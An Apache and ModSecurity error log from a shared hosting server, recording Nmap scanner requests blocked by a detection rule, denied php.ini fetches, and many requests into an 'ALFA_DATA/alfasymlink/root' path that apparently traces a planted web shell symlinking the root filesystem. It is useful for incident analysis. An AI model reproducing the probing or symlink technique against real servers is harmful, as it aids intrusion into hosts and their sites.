[Mon Oct 26 02:47:28.305616 2026] [security2:error] [pid 2982084:tid 2982084] [client 45.56.118.133:14114] ModSecurity: Warning. Matched phrase "nmap scripting engine" at REQUEST_HEADERS:User-Agent. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-913-SCANNER-DETECTION.conf"] [line "33"] [id "913100"] [rev "2"] [msg "Found User-Agent associated with security scanner"] [data "Matched Data: nmap scripting engine found within REQUEST_HEADERS:User-Agent: mozilla/5.0 (compatible; nmap scripting engine; https://nmap.org/book/nse.html)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-reputation-scanner"] [tag "OWASP_CRS/AUTOMATION/SECURITY_SCANNER"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at73gDDO8MpTZE2iHS58WgAAAAk"]
[Mon Oct 26 02:47:28.306164 2026] [security2:error] [pid 2982084:tid 2982084] [client 45.56.118.133:14114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at73gDDO8MpTZE2iHS58WgAAAAk"]
[Mon Oct 26 02:47:28.306481 2026] [security2:error] [pid 2982084:tid 2982084] [client 45.56.118.133:14114] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Found User-Agent associated with security scanner"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at73gDDO8MpTZE2iHS58WgAAAAk"]
[Mon Oct 26 02:47:28.306520 2026] [security2:error] [pid 2982084:tid 2982084] [client 45.56.118.133:14114] ModSecurity: collection_store: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "64.20.54.226"] [uri "/"] [unique_id "at73gDDO8MpTZE2iHS58WgAAAAk"]
[Mon Oct 26 02:47:28.638311 2026] [security2:error] [pid 2984073:tid 2984073] [client 45.56.118.133:14122] ModSecurity: Warning. Matched phrase "nmap scripting engine" at REQUEST_HEADERS:User-Agent. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-913-SCANNER-DETECTION.conf"] [line "33"] [id "913100"] [rev "2"] [msg "Found User-Agent associated with security scanner"] [data "Matched Data: nmap scripting engine found within REQUEST_HEADERS:User-Agent: mozilla/5.0 (compatible; nmap scripting engine; https://nmap.org/book/nse.html)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-reputation-scanner"] [tag "OWASP_CRS/AUTOMATION/SECURITY_SCANNER"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at73gHVm0c9vLAkU-I5ZcwAAAAE"]
[Mon Oct 26 02:47:28.638719 2026] [security2:error] [pid 2984073:tid 2984073] [client 45.56.118.133:14122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at73gHVm0c9vLAkU-I5ZcwAAAAE"]
[Mon Oct 26 02:47:28.639005 2026] [security2:error] [pid 2984073:tid 2984073] [client 45.56.118.133:14122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Found User-Agent associated with security scanner"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at73gHVm0c9vLAkU-I5ZcwAAAAE"]
[Mon Oct 26 02:47:28.639041 2026] [security2:error] [pid 2984073:tid 2984073] [client 45.56.118.133:14122] ModSecurity: collection_store: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "64.20.54.226"] [uri "/"] [unique_id "at73gHVm0c9vLAkU-I5ZcwAAAAE"]
[Mon Oct 26 02:47:28.853486 2026] [security2:error] [pid 2984462:tid 2984462] [client 45.56.118.133:14138] ModSecurity: Warning. Matched phrase "nmap scripting engine" at REQUEST_HEADERS:User-Agent. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-913-SCANNER-DETECTION.conf"] [line "33"] [id "913100"] [rev "2"] [msg "Found User-Agent associated with security scanner"] [data "Matched Data: nmap scripting engine found within REQUEST_HEADERS:User-Agent: mozilla/5.0 (compatible; nmap scripting engine; https://nmap.org/book/nse.html)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-reputation-scanner"] [tag "OWASP_CRS/AUTOMATION/SECURITY_SCANNER"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at73gNm4P87-s5vbjIiIgAAAAB8"]
[Mon Oct 26 02:47:28.853965 2026] [security2:error] [pid 2984462:tid 2984462] [client 45.56.118.133:14138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at73gNm4P87-s5vbjIiIgAAAAB8"]
[Mon Oct 26 02:47:28.854259 2026] [security2:error] [pid 2984462:tid 2984462] [client 45.56.118.133:14138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Found User-Agent associated with security scanner"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at73gNm4P87-s5vbjIiIgAAAAB8"]
[Mon Oct 26 02:47:28.854297 2026] [security2:error] [pid 2984462:tid 2984462] [client 45.56.118.133:14138] ModSecurity: collection_store: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "64.20.54.226"] [uri "/"] [unique_id "at73gNm4P87-s5vbjIiIgAAAAB8"]
[Mon Oct 26 02:47:29.317305 2026] [security2:error] [pid 2978303:tid 2978303] [client 45.56.118.133:14146] ModSecurity: Warning. Matched phrase "nmap scripting engine" at REQUEST_HEADERS:User-Agent. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-913-SCANNER-DETECTION.conf"] [line "33"] [id "913100"] [rev "2"] [msg "Found User-Agent associated with security scanner"] [data "Matched Data: nmap scripting engine found within REQUEST_HEADERS:User-Agent: mozilla/5.0 (compatible; nmap scripting engine; https://nmap.org/book/nse.html)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-reputation-scanner"] [tag "OWASP_CRS/AUTOMATION/SECURITY_SCANNER"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at73gZMnyYq70WIUET3slwAAABc"]
[Mon Oct 26 02:47:29.317818 2026] [security2:error] [pid 2978303:tid 2978303] [client 45.56.118.133:14146] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at73gZMnyYq70WIUET3slwAAABc"]
[Mon Oct 26 02:47:29.318165 2026] [security2:error] [pid 2978303:tid 2978303] [client 45.56.118.133:14146] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Found User-Agent associated with security scanner"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at73gZMnyYq70WIUET3slwAAABc"]
[Mon Oct 26 02:47:29.318220 2026] [security2:error] [pid 2978303:tid 2978303] [client 45.56.118.133:14146] ModSecurity: collection_store: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "64.20.54.226"] [uri "/"] [unique_id "at73gZMnyYq70WIUET3slwAAABc"]
[Mon Oct 26 02:47:29.498953 2026] [security2:error] [pid 2986309:tid 2986309] [client 45.56.118.133:14148] ModSecurity: Warning. Matched phrase "nmap scripting engine" at REQUEST_HEADERS:User-Agent. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-913-SCANNER-DETECTION.conf"] [line "33"] [id "913100"] [rev "2"] [msg "Found User-Agent associated with security scanner"] [data "Matched Data: nmap scripting engine found within REQUEST_HEADERS:User-Agent: mozilla/5.0 (compatible; nmap scripting engine; https://nmap.org/book/nse.html)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-reputation-scanner"] [tag "OWASP_CRS/AUTOMATION/SECURITY_SCANNER"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at73gaSAw45D5GOixQrNIAAAAAA"]
[Mon Oct 26 02:47:29.499451 2026] [security2:error] [pid 2986309:tid 2986309] [client 45.56.118.133:14148] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at73gaSAw45D5GOixQrNIAAAAAA"]
[Mon Oct 26 02:47:29.499721 2026] [security2:error] [pid 2986309:tid 2986309] [client 45.56.118.133:14148] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Found User-Agent associated with security scanner"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at73gaSAw45D5GOixQrNIAAAAAA"]
[Mon Oct 26 02:47:29.499760 2026] [security2:error] [pid 2986309:tid 2986309] [client 45.56.118.133:14148] ModSecurity: collection_store: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "64.20.54.226"] [uri "/"] [unique_id "at73gaSAw45D5GOixQrNIAAAAAA"]
[Mon Oct 26 02:47:29.833351 2026] [authz_core:error] [pid 2984261:tid 2984261] [client 34.198.189.65:12306] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Mon Oct 26 02:47:29.854520 2026] [authz_core:error] [pid 2963542:tid 2963542] [client 34.198.189.65:63905] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Mon Oct 26 02:47:35.923583 2026] [ssl:error] [pid 2984073:tid 2984073] (70014)End of file found: [client 3.94.157.25:12063] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:47:39.463204 2026] [core:error] [pid 2984462:tid 2984462] (13)Permission denied: [client 85.208.96.208:48924] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/net_namespace/objs_per_slab
[Mon Oct 26 02:47:40.031651 2026] [core:error] [pid 2978303:tid 2978303] (13)Permission denied: [client 52.204.37.237:18041] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/memory5/subsystem/devices/memory8/node0/compact
[Mon Oct 26 02:47:42.239749 2026] [core:error] [pid 2986309:tid 2986309] (13)Permission denied: [client 185.191.171.12:51364] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_data/poison
[Mon Oct 26 02:47:42.715881 2026] [proxy_fcgi:error] [pid 2963542:tid 2963542] [client 165.22.195.48:54052] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 02:47:44.215957 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 52.2.58.41:55572] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:47:51.653055 2026] [ssl:error] [pid 2978303:tid 2978303] (70014)End of file found: [client 44.215.210.112:61006] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:47:55.667817 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 23.23.104.107:8362] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:47:59.763177 2026] [ssl:error] [pid 2986309:tid 2986309] (70014)End of file found: [client 52.6.232.201:63894] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:48:03.963951 2026] [ssl:error] [pid 2974954:tid 2974954] (70014)End of file found: [client 44.221.105.234:6864] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:48:07.778683 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 52.203.152.231:22255] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:48:11.753668 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 34.192.125.239:62721] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:48:19.720918 2026] [ssl:error] [pid 2984441:tid 2984441] (5)Input/output error: [client 54.83.23.103:3417] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:48:27.848801 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 3.218.103.254:49574] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:48:31.396076 2026] [security2:error] [pid 2982126:tid 2982126] [client 107.172.76.131:51704] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at73smOlQEA7vTaN5Z-iAwAAABA"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 02:48:31.396132 2026] [security2:error] [pid 2982126:tid 2982126] [client 107.172.76.131:51704] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at73smOlQEA7vTaN5Z-iAwAAABA"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 02:48:31.656063 2026] [ssl:error] [pid 2986309:tid 2986309] (70014)End of file found: [client 34.195.248.30:61093] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:48:35.873480 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 34.236.41.241:13742] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:48:39.138261 2026] [security2:error] [pid 2974954:tid 2974954] [client 85.208.96.208:57996] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/svt-av1-libs/CONTRIBUTING.md"] [unique_id "at73x-PdqEmNX1cUUB8iDgAAAAI"]
[Mon Oct 26 02:48:39.138320 2026] [security2:error] [pid 2974954:tid 2974954] [client 85.208.96.208:57996] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/svt-av1-libs/CONTRIBUTING.md"] [unique_id "at73x-PdqEmNX1cUUB8iDgAAAAI"]
[Mon Oct 26 02:48:40.070124 2026] [ssl:error] [pid 2984174:tid 2984174] (70014)End of file found: [client 34.196.6.199:2556] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:48:44.055205 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 44.194.139.149:42620] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:48:47.721358 2026] [ssl:error] [pid 2984073:tid 2984073] (70014)End of file found: [client 34.195.60.66:32117] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:48:48.502082 2026] [proxy_fcgi:error] [pid 2978303:tid 2978303] [client 165.227.17.171:52049] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 02:48:55.699679 2026] [ssl:error] [pid 2974954:tid 2974954] (70014)End of file found: [client 100.28.49.152:35241] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:49:11.943939 2026] [ssl:error] [pid 2984462:tid 2984462] (70014)End of file found: [client 3.210.114.189:3744] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:49:15.935516 2026] [ssl:error] [pid 2978303:tid 2978303] (70014)End of file found: [client 3.220.148.166:56300] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:49:19.674472 2026] [ssl:error] [pid 2984174:tid 2984174] (70014)End of file found: [client 54.89.90.224:50580] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:49:31.978021 2026] [core:error] [pid 2984452:tid 2984452] (13)Permission denied: [client 98.82.63.147:54474] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory7/node0/cpu1/crash_notes_size
[Mon Oct 26 02:49:35.503206 2026] [authz_core:error] [pid 2963542:tid 2963542] [client 35.241.141.174:50238] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 02:49:35.810542 2026] [authz_core:error] [pid 2963566:tid 2963566] [client 34.140.104.115:45630] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 02:49:36.138898 2026] [ssl:error] [pid 2984441:tid 2984441] (5)Input/output error: [client 100.28.204.82:3332] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:49:39.767224 2026] [ssl:error] [pid 2978303:tid 2978303] (70014)End of file found: [client 100.28.204.82:52120] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:50:11.793733 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 44.205.74.196:29100] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:50:19.717313 2026] [ssl:error] [pid 2984174:tid 2984174] (70014)End of file found: [client 34.206.193.60:6372] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:50:27.913272 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 54.209.100.30:1547] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:50:35.875725 2026] [ssl:error] [pid 2984073:tid 2984073] (70014)End of file found: [client 52.73.6.26:49399] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:50:39.740242 2026] [core:error] [pid 2984261:tid 2984261] (13)Permission denied: [client 52.200.93.170:18480] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory7/node0/memory23/subsystem/devices/memory6/node0/cpu0/firmware_node/physical_node/driver/bind
[Mon Oct 26 02:50:43.890753 2026] [ssl:error] [pid 2986309:tid 2986309] (70014)End of file found: [client 3.223.134.5:10673] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:50:51.944688 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 50.17.193.48:56524] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:51:00.037338 2026] [core:error] [pid 2986309:tid 2986309] (13)Permission denied: [client 34.234.197.175:50539] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/cpu1/driver/cpu0/node0/cpu1/crash_notes
[Mon Oct 26 02:51:11.814656 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 52.45.92.83:9018] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:51:23.603385 2026] [core:error] [pid 2974954:tid 2974954] (13)Permission denied: [client 52.201.155.215:39484] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/pcspkr/drivers/platform:pcspkr/pcspkr/input/input5/subsystem/input4/device/subsystem/devices/serio1/drvctl
[Mon Oct 26 02:51:27.761501 2026] [core:error] [pid 2984073:tid 2984073] (13)Permission denied: [client 18.207.79.144:41464] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/pcieport/unbind
[Mon Oct 26 02:51:35.495189 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 52.200.142.199:37801] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:51:36.617250 2026] [ssl:error] [pid 2986309:tid 2986309] (70014)End of file found: [client 185.191.171.6:42542] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:51:43.500545 2026] [ssl:error] [pid 2984073:tid 2984073] (70014)End of file found: [client 18.232.12.157:33902] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:51:47.595861 2026] [ssl:error] [pid 2984174:tid 2984174] (70014)End of file found: [client 52.2.191.202:55187] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:51:51.655025 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 54.90.8.255:7224] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:51:55.050560 2026] [core:error] [pid 2984174:tid 2984174] (13)Permission denied: [client 185.191.171.1:41612] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bdev_cache/cache_dma
[Mon Oct 26 02:51:55.620140 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 18.205.213.231:62315] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:51:59.451454 2026] [ssl:error] [pid 2978303:tid 2978303] (70014)End of file found: [client 44.212.106.171:49521] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:52:07.376237 2026] [ssl:error] [pid 2984452:tid 2984452] (70014)End of file found: [client 3.93.98.99:53943] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:52:11.584677 2026] [core:error] [pid 2974954:tid 2974954] (13)Permission denied: [client 3.232.39.98:16351] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/mice/subsystem/input5/subsystem/event3/device/device/drvctl
[Mon Oct 26 02:52:20.396403 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 54.204.62.163:60799] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:52:47.227382 2026] [ssl:error] [pid 2984174:tid 2984174] (70014)End of file found: [client 3.231.193.38:36723] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:52:51.146629 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 3.229.2.217:50355] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:52:59.222729 2026] [ssl:error] [pid 2984174:tid 2984174] (70014)End of file found: [client 34.197.28.78:28315] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:53:03.351506 2026] [core:error] [pid 2984261:tid 2984261] (13)Permission denied: [client 52.6.5.24:63583] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.2/usb1/remove
[Mon Oct 26 02:53:11.376942 2026] [ssl:error] [pid 2984441:tid 2984441] (22)Invalid argument: [client 23.23.212.212:22865] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:53:19.397165 2026] [core:error] [pid 2984174:tid 2984174] (13)Permission denied: [client 54.144.185.255:42523] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/drivers/ec/uevent
[Mon Oct 26 02:53:23.101348 2026] [ssl:error] [pid 2978292:tid 2978292] (70014)End of file found: [client 18.233.24.238:40147] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:53:27.342370 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 34.206.249.188:19679] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:53:34.984957 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 107.20.181.148:9991] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:53:39.325362 2026] [ssl:error] [pid 2978292:tid 2978292] (70014)End of file found: [client 34.225.138.57:62462] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:53:42.996650 2026] [ssl:error] [pid 2986309:tid 2986309] (70014)End of file found: [client 54.83.23.103:32233] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:53:46.903585 2026] [core:error] [pid 2984261:tid 2984261] (13)Permission denied: [client 52.54.15.103:23734] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/event1/subsystem/event0/subsystem/input5/device/driver/module/uevent
[Mon Oct 26 02:53:50.835784 2026] [ssl:error] [pid 2974954:tid 2974954] (70014)End of file found: [client 3.94.156.104:43253] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:54:15.597507 2026] [core:error] [pid 2974954:tid 2974954] (13)Permission denied: [client 18.214.124.6:57967] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/device:01/physical_node/remove
[Mon Oct 26 02:54:18.904426 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 3.213.85.234:12749] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:54:23.065926 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 34.202.88.37:33029] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:54:27.418807 2026] [security2:error] [pid 2986309:tid 2986309] [client 85.208.96.207:53316] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/handesk/php82/import.php"] [unique_id "at75I6SAw45D5GOixQrNPgAAAAA"]
[Mon Oct 26 02:54:27.418860 2026] [security2:error] [pid 2986309:tid 2986309] [client 85.208.96.207:53316] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/handesk/php82/import.php"] [unique_id "at75I6SAw45D5GOixQrNPgAAAAA"]
[Mon Oct 26 02:54:34.836868 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 35.169.119.108:24181] AH02013: coalesce failed to read from data bucket
